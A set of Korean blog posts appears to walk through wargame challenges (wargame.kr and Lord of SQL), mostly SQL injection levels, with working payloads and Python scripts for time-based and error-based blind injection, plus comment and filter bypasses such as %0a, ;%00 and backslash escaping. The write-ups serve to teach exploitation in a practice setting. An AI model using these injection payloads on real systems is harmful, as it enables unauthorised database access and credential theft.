해당 문제를 시작하면 마우스의 이동에 따라 눌러야 될 버튼도 같이 이동하게 됩니다.




소스를 확인해 보면 해당 버튼을 눌렀을 때 이동하게 되는 URL이 나오게 됩니다.

해당 URL로 이동하면 키 값이 보이게 됩니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] already got  (0) 2018.10.28

HTTP Response header를 볼 수 있는지 물어봅니다.



문제를 시작하면 이미 key를 얻었다고 합니다.




HTTP Response header는 말 그대로 요청에 대한 응답 header를 확인해야 합니다.

그러기 위해서 Chrome의 기능을 이용하면 해결할 수 있습니다.


F12를 누르고 Network 부분으로 가서 카메라 모양을 누르면 capture가 가능합니다.

이 후 F5키를 눌러 새로 고침 후 확인해보면 아래와 같이 key값이 보이게 됩니다.


'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] md5 password  (1) 2018.10.29
[WarGame] login filtering  (0) 2018.10.29
[WarGame] fly me to the moon  (0) 2018.10.28
[WarGame] QR CODE PUZZLE  (0) 2018.10.28
[WarGame] flee button  (0) 2018.10.28

앞선 문제와 달리 상당한 길이여서 혼란스러운 문제이지만 간단하게 동작하는 내용은

  ⓐ flag의 값을 필터링

  ⓑ 현재 로그인 session을 가지고 flag를 가져옴

  ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김

  ⓓ 임시 테이블에 flag 값을 update

  ⓔ 임시 테이블의 flag 값을 가져옴

  ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 )

  ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결

로 구문을 해석 할 수 있습니다.


여기서 중요한 사항은 우리가 공격할 수 있는 injection point는 update구문 뿐이며 올바른 값을 입력하지 않으면 매번 값이 바뀐다는 것입니다.



아무거나 입력하면 아래와 같이 "reset ok"라고 나오면서 flag값이 변하기 때문에 주의해야 합니다.


생각해 볼 수 있는 사항

  ① 정확한 flag값을 알아야 하기 때문에 blind sql injection을 해야 함

  ② 값을 조작할 만한 곳은 Update문 뿐

  ③ Update문이 실행이 되면 reset이 됨

  ④ flag는 16자리 (substr로 나눔)


blind sql injection을 통해 update문을 injection 하면 되는 문제입니다.

하지만 어떠한 정보도 내주지 않고 있고, error도 나오지 않으니 Time-base blind sql injectioin으로 문제를 해결해야 합니다.

그리고 update문이 실행이 되지 않게 하기 위해서 (select 1 union select 2)를 통해 error를 발생 시켜야 합니다.


time-base로 하려면 sleep()을 이용해서 몇 초간 응답에 따라서 참/거짓을 알 수 있습니다.

참/거짓을 구분하기 위한 조건문이 필요한데 if문은 ','가 필요해서 case when으로 대체 할 수 있었습니다

substr에도 ','가 필요하지만 flag from 1 for 1을 하면 첫번째 문자를 가져오게 됩니다..



알아낸 정보를 가지고 Python code를 작성하면 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?'
index_list = range(48,58)+range(97,123) # 0~1, a~z
 
password = ''
 
for i in range(1,17):
    for j in index_list:
        query = "flag=(select 1 union select 2) or case when substr(flag from {0} for 1)='{1}' then sleep(2) end".format(i,chr(j))
        payload = url+query
        print (payload)
 
        time1 = time.time()
        res = requests.get(payload, cookies=cookies)
        time2 = time.time()
 
        if(time2-time1>2):
            password += chr(j)
            break
print("password : "+password)
cs



[참고]

case when: http://www.gurubee.net/lecture/1028

HINT: 

http://security04.tistory.com/170

http://rls1004.tistory.com/33

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

iron_golem 문제처럼 Error Base Blind SQL Injection입니다.

하지만 if와 case/when을 필터링하여 조건문으로 풀지 못하게 했습니다.

또한 error massage도 띄어주지 않네요 ~_~


이번에는 order by를 이용해서 문제를 해결하려고 합니다.



[order by를 이용한 풀이]


' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)=1)%23


3가지 항목에 주목하셔야 합니다.

ⓐ order by: 특정 순서 혹인 정렬을 위한 SQL 입니다.

select 1 union select 2: Error를 유발하기 위한 구문

ⓒ length(pw): pw의 길이를 구할 구문 (이후 pw도 구함)



[ select 1 from (select 1 union select 2)m where 1=1 ]을 하게 되면 아래와 같이 행이 2개가 출력 되고,

[ select 1 from (select 1 union select 2)m where 1=2 ]을 하게 되면 아래와 같이 거짓으로 아무것도 나오지 않습니다.







⑴ length(pw) 가 참 일 경우)

Subquery에서 행 2개 출력 → order by 구문에서 Error → if(mysql_error()) exit(); 로 인해 빈 창으로 이동


⑵ length(pw) 가 거짓 일 경우)

Subquery에서 결과 x → order by 구문에서 정상 진행 → if(mysql_error()) exit(); 통과 후 echo 실행



어떻게 풀어야 할지 알았으니 Python으로 풀어봅니다.

id='admin'을 추가한 이유는 guest의 값이 나올 수 있기에 사용했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
password = ''
length = 0
 
for i in range(1,99):
    query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)={0})%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("query")<0):
        length = i
        print("length: "+str(length))
        break    
 
for i in range(1,length+1):
    for j in index_list:
        query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and substr(pw,{0},1)='{1}')%23".format(i,chr(j))
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("query")<0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs





[참고]

에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search

Blind sql injection: https://github.com/solmonk/writeup/blob/master/blind.md

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] umaru  (0) 2018.10.18
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

이번 문제를 보시면 mysql_error() 라는 항목이 추가되었고 항상 보여주던 "Hello ~~~~"가 없어졌습니다.

형식을 보면 blind sql injection이 분명한데 어떻게 참 거짓을 구분해야 할까요?


Injection 중에 별로 신경은 안 썼지만 Error Base SQL Injection이라는 기술이 있습니다.

mysql_error() 함수를 통해서 Query의 오류를 통해서 비밀번호를 하나씩 찾아낼 수 있습니다.



우선 평소처럼 blind sql injection이 되는지 확인하기 위해 다음과 같이 입력해도 참/거짓을 판단할 수 없기 때문에 의미가 없습니다.



일부러 구문 오류를 내봅니다. '(single quarter) 하나만 전송해보면 다음과 같이 error 문구가 나오게 됩니다.

이 error 문구를 이용해서 문제를 푸실 수 있습니다.



Error Base Blind SQL Injection에 대한 내용을 찾다가 몇 가지 Payload를 알게 되었습니다.


  ⓐ 조건문 사용:     1 and if($tg,1,(select 1 union select 2))

  ⓑ order by/group by:     1 order by (select 1 from (select 1 union select 2)m where $tg=1)

  ⓒ ​​논리 연산자의 최적화 현상 이용:     $tg||(select 1 union select 2) 

  ⓓ case when then 형식 조건문 사용:​​     select case 1 when 1 then (select 1 union select 2) end;

  [정규식 관련 에러를 이용​]

  ⓐ 필터링이 쿼리 실행 이후에 일어나는 사례

  ⓑ 쿼리가 실행은 되지만 결과가 출력 되지 않는 사례의 시간 기반 대용

  ⓒ ​order by / group by 에 대한 효율적인 인젝션

  ⓓ insert 문과 delete 문을 동작을 막으면서 데이터를 추출하기​


(출처: dmbs님의 블로그, URL 하단 표기)


그 중에 조건문을 이용해서 문제를 풀어봤습니다.

if(조건, 참일 때 실행, 거짓일 때 실행)를 이용하면 조건문에 우선 1=1 이라는 참 값을 놓고 확인해 봅니다.


해당 Query는 참이기 때문에 Error가 표시가 안됩니다.


하지만 조건식에 1=2 라고 표시하고 전송하면 다음과 같이 subquery의 결과 1개가 리턴 됐다고 나오게 됩니다.



해당 문구가 나오면 실패한 것이니 우선 pw의 길이를 찾아봅니다.

찾아보시면 16자리가 나오게 되지만 전 문제와 동일하게 1글자가 4byte인 Unicode로 되어있었습니다.


그렇게 총 4글자의 Unicode라는 것을 알게 되었으니 Python을 이용해서 풀어봅니다.

앞선 문제와 달라진 구문은 find()를 사용할 때 "Subquery returns more than 1 row"로 하고 못 찾을 때라 "<0"라고 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?'
password = ''
length = 0
 
#pw 길이 구하기 (1글자가 4byte라고 알기 전)
for i in range(1,99):
    query = "pw=' or if(length(pw)={0},1,(select 1 union select 2))%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Subquery returns more than 1 row")<0):
        length = i
        print("length: "+str(length))
        break    
 
 
#pw 구하기 (1글자가 4byte라고 알게 된 후, 고정 길이)
for i in range(1,5):
    for j in range(33,127):
        query = "pw=' or if(ord(substr(pw,{0},1))={1},1,(select 1 union select 2))%23".format(i,j)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Subquery returns more than 1 row")<0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs

(한글 인코딩이 안되어 있어 주석을 지우고 실행해야 합니다)





[참고]

에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] umaru  (0) 2018.10.18
[LOS] dark_eyes  (0) 2018.10.12
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

id 뒤에 주석이 있어서 pw에 무슨 값을 입력해도 의미가 없어지는 문제입니다.


하지만 #으로 주석 처리할 경우 한 줄만 주석이 되므로 개행을 하게 되면 주석을 피할 수 있고,

개행을 하더라도 ';' 을 만나지 않는 이상 한개의 Query로 인식하게 됩니다.


보통 개행으로 사용하는 문자는 %0a 입니다.



그렇게 생각하고 처음에 한 방법은 다음과 같습니다.

';' 앞에는 %0a를 넣어서 빈칸으로 보입니다.


해당 Query에 별다른 문제가 없어 보이는데 실상은 Query를 두개 수행한 것이라

첫 번째 Query인 select id from prob_dragon where id='guest' 의 결과가 앞에 있기에 풀리지 않습니다.

(근데 왜 "Hello guest"도 안 나올까요...)



두 개의 Query로 만들 생각만 계속했었는데.. 한 문장으로 해결이 가능 했습니다.

다음과 같이 and pw='' 를 먼저 입력하고 뒤에 or을 입력하면 연산자 우선순위로 인해 and를 먼저 계산하게 됩니다.


id='guest'# and pw=''%0a and pw='' or id='admin'%23'

위와 같이 and 은 거짓으로 되지만 or 연산으로 id='admin' 값을 찾아오게 됩니다.

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08

Blind SQL Injection 문제로 보여집니다.

추가된 필터링은 regex, like 이며 해당 함수는 정규 표현식을 사용하는데 쓰여집니다.


이 문제는 저한테 좀 버거웠네요.. 힌트도 구하고 참고도  했습니다 ㅜ



우선 항상 하던 것처럼 pw의 길이를 구해야 합니다.

매번 8자리의 문자열이었는데 이번에는 그보다 상당히 컸습니다.

40자리의 pw 길이였습니다.


이렇게 하고 평소처럼 ascii code표에 대응하는 비밀번호들을 하나씩 비교해봤는데 전혀 나오지 않았습니다.

' or substr(pw,1,1)='0'#



너무 막혀서 HINT를 구했는데.

우리가 읽을 수 없는 문자열이고, 한글이라는 이야기를 알게 되었습니다.


흔히 쓰는 영어랑 숫자는 1byte로 표현이 가능하지만 한글은 2byte가 있어야 표현을 할 수 있습니다.


그래서 영어를 사용하는 나라들은 UTF-8로 표현이 가능하게 됩니다.

하지만 우리나라, 중국, 일본과 같은 문자를 사용하는 나라들은 최소 2byte가 필요하여 UTF-16이나 UTF-32를 사용해야 문자를 표현할 수 있습니다.


문자 하나의 길이를 알아보고자 다음과 같이 substring()으로 문자 하나를 가져와 길이를 구해보니 4byte로 나오게 됩니다.



그렇게 10번째도 확인하고 11번째 문자도 확인해보니 11번째 문자에서는 "Hello guest"가 나오는 것을 보면

총 10자리 수의 unicode 문자열이 기록되어 있는 것을 알 수 있습니다.



그러다 Blind SQLI로 한글을 가져올 때 hex()값을 이용할 수 있다는 것을 알게 되었습니다.

hex(pw)의 길이를 구하면 80으로 나오게 됩니다.



이 정보를 가지고 hex값을 이용해서 하나씩 추출해보면 값이 나오고 해당 값을 hex decode하면 password가 만들어 집니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
 
password = ''
 
for i in range(1,81):
    for j in index_list:
        query = "pw=' or substr(hex(pw),"+str(i)+",1)='"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs







항상 영어나 숫자로만 된 값을 가져오기만 해서 그런지 unicode라는 생각을 하기 힘들었습니다,

처음 보는 유형이라 쉽지 않네요 ㅜ..




[참고]

Blind SQL Injection를 이용하여 한글 가져오기!: http://zulloper.tistory.com/119

문자열 인코딩에 대한 정리: https://lng1982.tistory.com/233

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08

주석으로 항상 쓰던 '#', '-'이 필터링 되어있고, 길이 제한이 생겼습니다.



pw에 보시면 ('{$_GET[pw]}')로 감싸져 있는 것을 보아하니 괄호를 이용해야 할 것은 확실해 보입니다.


어떻게 할지 몰라 힌트를 구했더니... 

주석으로 쓰는 다른 문자가 있고, 문자열은 0이라는 것을 얻었습니다.


뒤에 id!='admin'을 없애야 하기에 다른 주석 문자를 찾아보니 ;%00 /**/ 도 있었습니다.

문자열 길이가 제한이 있기 때문에 ;%00 을 사용해야 할 것으로 보입니다.

(%00은 NULL로 문자열의 끝을 나타냅니다.)


또한 문자열은 0이다.. 라는 힌트는

뒤에 ')이 주석으로 사라지니 일단 앞의 ('의 짝을 맞춰야 합니다.

그럼 여기까지 pw=('');%00') 이렇게 되는데 결국 무조건 참으로 만들려면 아직 완전하지 않습니다.

문자열이 0이라는 힌트로 ('')는 아무것도 없으니 0 일수도 있겠다고 생각했습니다.

(보통 1은 참 0은 거짓)


그렇게 다음과 같이 만들어 주면 성공하게 됩니다.




[힌트 출처]

http://34t3rnull.tistory.com/39


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08

zombie_assassin과 비슷한 문제입니다.


다른 점은 preg_match()로 '(single quarter)를 필터링 했으며, '\' 필터링이 없어졌다는 것입니다. 



\가 필터링 되지 않았으면 상당히 쉽게 해결 할 수 있습니다.

id 부분에 '\'를 넣어두면 '(single quarter)가 문자가 되어 뒤 pw 부분의 '(single quarter)와 결합하게 됩니다.


따라서 or 1=1#를 사용할 수 있게 되는 것입니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07

ereg()로 '(single quarter)를 필터링 합니다.


하지만 ereg()를 우회하는 간단한 방법은 %00(NULL)를 넣어주는 것입니다.

NULL은 문자열의 끝을 뜻하고 ereg() 함수는 문자열을 체크하기 때문에 문자열의 끝이 나오면 이후는 검사하지 않습니다.


id는 필요 없고, pw 부분 만으로 해결 가능합니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06

+ Recent posts